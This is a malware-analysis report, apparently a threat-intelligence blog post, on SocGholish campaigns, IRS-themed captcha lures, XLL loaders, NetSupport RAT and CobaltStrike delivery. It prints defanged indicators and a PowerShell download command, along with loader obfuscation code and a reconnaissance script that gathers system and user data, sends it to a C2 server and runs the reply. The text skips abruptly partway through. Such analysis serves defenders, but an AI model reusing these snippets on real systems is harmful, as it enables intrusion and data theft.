SocGholish Campaigns and Initial Access Kit By Jason Reaves Published: 2022-05-25 · Archived: 2026-05-05 02:03:02 UTC 9 min read May 25, 2022 Press enter or click to view image in full size By: Jason Reaves and Joshua Platt SocGholish AKA FAKEUPDATES was first reported in 2017. While the initial analysis and reporting did not gain much attention, over time the actor(s) behind the activity continued to expand and develop their operations. Partnering with Evil Corp, the FAKEUPDATE / SOCGHOLISH framework has become a major corporate initial access vector. The threat actor(s) behind the framework have strong underground connections, demonstrated through their partnership with Evil Corp and signify thoroughly vetted cyber criminal activity. Threat attackers utilizing the framework represent significant risk to global corporations and have demonstrated top tier penetration testing abilities. According to the FBI, typical losses attributed to their activity span 1 to 40 million dollars per event[1]. https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee Page 1 of 16 Most public reporting on SocGholish revolves around the usage of fake software updates either through drive-by downloads or through links in email spam. However as we will demonstrate in this report they have the ability to do specific campaigns throughout the year. We will link a previously unattributed campaign to this threat group by using both our own private research and third-party public research. At the end, we will also demonstrate a way to pivot on the SocGholish NetSupport RAT configs which can lead to other revelations including the discovery of a publicly available zip file linking one of our discovered RAT configs to a SocGholish campaign. IRS Campaigns While researching NetSupport RAT campaigns, we came across a campaign involving fake captchas, compromised websites and a .NET based loader. The malware appeared to be an XLL loader[7] and appeared to be primarily associated with NetSupport campaigns. Press enter or click to view image in full size We were able to find one blog talking about these campaigns from Cofense[2] along with a IOC dump from a researcher[9] but the details are lacking and there is no attribution mentioned. It did provide us some extra pivot points thanks to their pictures of the campaigns. One pivot point in particular shows a usage of compromised websites: Press enter or click to view image in full size https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee Page 2 of 16 These sites just have an appended redirect location to the captcha site: # echo “bD1odHRwczovL2lyc2J1c2luZXNzYXVkaXQubmV0L2NhcHRjaGEucGhw” |base64 — decode l=hxxps://irsbusinessaudit[.]net/captcha.php We can also pivot on this captcha website because they reuse the same code for the captcha gate: Press enter or click to view image in full size The IP address for the hlmequipment domain at the time was 5.252.178[.]213 based on passive DNS data which shows similar usage of the XLL loader but also a LNK file: Press enter or click to view image in full size The LNK file is a downloader that will be used to ultimately lead to NetSupport RAT as well: process call create “cmd /c start /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c I LNK files appear to be leveraged through VHD file spam. The associated VHD files were: https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee Page 3 of 16 fe2502a6432f272e6fcb7406182907cd54a94a958ee449be1528263a8caf0ac0 4ca5c2c0cc2bd56626c3499a88bd5b4ce2bf053c37e50902722220279e2d26d5 ba757fa287f859745578b293896e4405b040dad3b393a7128966f15fa28dd7d8 These files also could have been hosted at compromised websites: Press enter or click to view image in full size The files appear to contain the LNK files, which in the instance above will download ‘restore.dat’.his file is a script based loader which will then load a .NET base64 encoded XLL loader onboard. In the example above it leads to this file: Press enter or click to view image in full size These .NET based loaders contain a simplistic way that they obfuscate all their important strings: private static Random random = new Random(); private static int dec2(int a, int varXLRDDAE) { return (a - varXLRDDAE) / varXLRDDAE; } public static string RandomString(int length) { https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee Page 4 of 16 IEnumerable arg_291_0 = Enumerable.Repeat(Encoding.ASCII.GetString(new byte[] { (byte)IVOTSVZ.dec2(2178, 33), (byte)IVOTSVZ.dec2(2211, 33), (byte)IVOTSVZ.dec2(2244, 33), (byte)IVOTSVZ.dec2(2277, 33), (byte)IVOTSVZ.dec2(2310, 33), (byte)IVOTSVZ.dec2(2343, 33), (byte)IVOTSVZ.dec2(2376, 33), The process remains the same across all the campaigns utilizing the loader that we have analyzed. Thanks to the static nature of .NET opcodes, we can automatically parse and decode the encoded data. Decoded strings: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 asdjvibisi4 taskhostw.exe hxxp://149.28.68[.]114/form_irs_check.png Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Runtaskhost\\\\client32.exe\\\\\\\\\\\\\\\\\\\\ asdkjiufua One of the XLL loaders also had a domain onboard instead of an IP.Along with communicating over HTTPS, this sample talked to irsbusinessaudit[.]net which was leveraged as part of the aforementioned captcha campaigns leading to NetSupport RAT: GatewayAddress=irsgetwell.net:443SecondaryGateway=asaicuuvuvyy33ifbcia33.cn:443 GSK=GM.[a-f0–9]{6}.zip and will unzip to a javascript file that will begin checking in to a C2 and downloading more scripts that will profile the environment. Press enter or click to view image in full size The script sends off a few hardcoded values, which are normally a letter and two numbers, and sets the variable url2 as the C2 URL. The response from the C2 is then executed from the same context as this script. The next block of code is called ‘init’ and is normally used to gather more data about the environment it is being executed in but can be seen accessing the ‘url2’ variable previously set: upperScope.b_request = request https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee Page 7 of 16 upperScope.reqUrl = url2 Some WMI queries: var colItems = objWMIService.ExecQuery("SELECT * FROM Win32_ComputerSystemProduct", "WQL"); var colItems = objWMIService.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL"); var colItems = objWMIService.ExecQuery("SELECT * FROM AntiSpywareProduct", "WQL"); var colItems = objWMIService.ExecQuery("SELECT * FROM AntiVirusProduct", "WQL"); var colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Process", "WQL"); var colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Service", "WQL"); The script will end up gathering a lot of information which is sent off: var userdnsdomain = wsh.ExpandEnvironmentStrings('%userdnsdomain%') var username = wsh.ExpandEnvironmentStrings('%username%') var computername = wsh.ExpandEnvironmentStrings('%computername%') var processor_architecture = wsh.ExpandEnvironmentStrings('%processor_architecture%') var whoami = executeCmdCommand('whoami /all') req.push(['init_result', '1']) req.push(['ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin]) req.push(['PromptOnSecureDesktop', PromptOnSecureDesktop]) req.push(['osBuildNumber', osBuildNumber]) req.push(['osCaption', osCaption]) req.push(['whoami', whoami]) req.push(['userdnsdomain', userdnsdomain]) req.push(['username', username]) req.push(['computername', computername]) req.push(['processor_architecture', processor_architecture]) req.push(['asproduct', ASProduct]) req.push(['processlist', processlist]) req.push(['servicelist', servicelist]) this['eval'](prepareRequest(req)) The delivery for this chain has previously been NetSupport RAT but lately a CobaltStrike loader that AV companies refer to as “Blister” Loader has been delivered, normally placed in a folder within ProgramData along with a renamed Rundll32 executable. The name of the folder and file that will be used is hardcoded in one of the layers responsible for decoding the CobaltStrike file, this way it can setup itself if needed. Example: Press enter or click to view image in full size https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee Page 8 of 16 The CobaltStrike malleable profile in use will leverage a new WerFault.exe process for itself, this activity blends in nicely with the DLLs as they contain many exports and during sandbox detonations will normally cause multiple faults to occur legitimately. FakeUpdate Malspam These campaigns have a similar flow to the above drive-by download chain except that links to compromised websites are spammed out. Example: hxxps://payyourintern[.]com/two-p-1-posts-in-the-un-for-young-specialists Visiting this site will lead to running some injected javascript code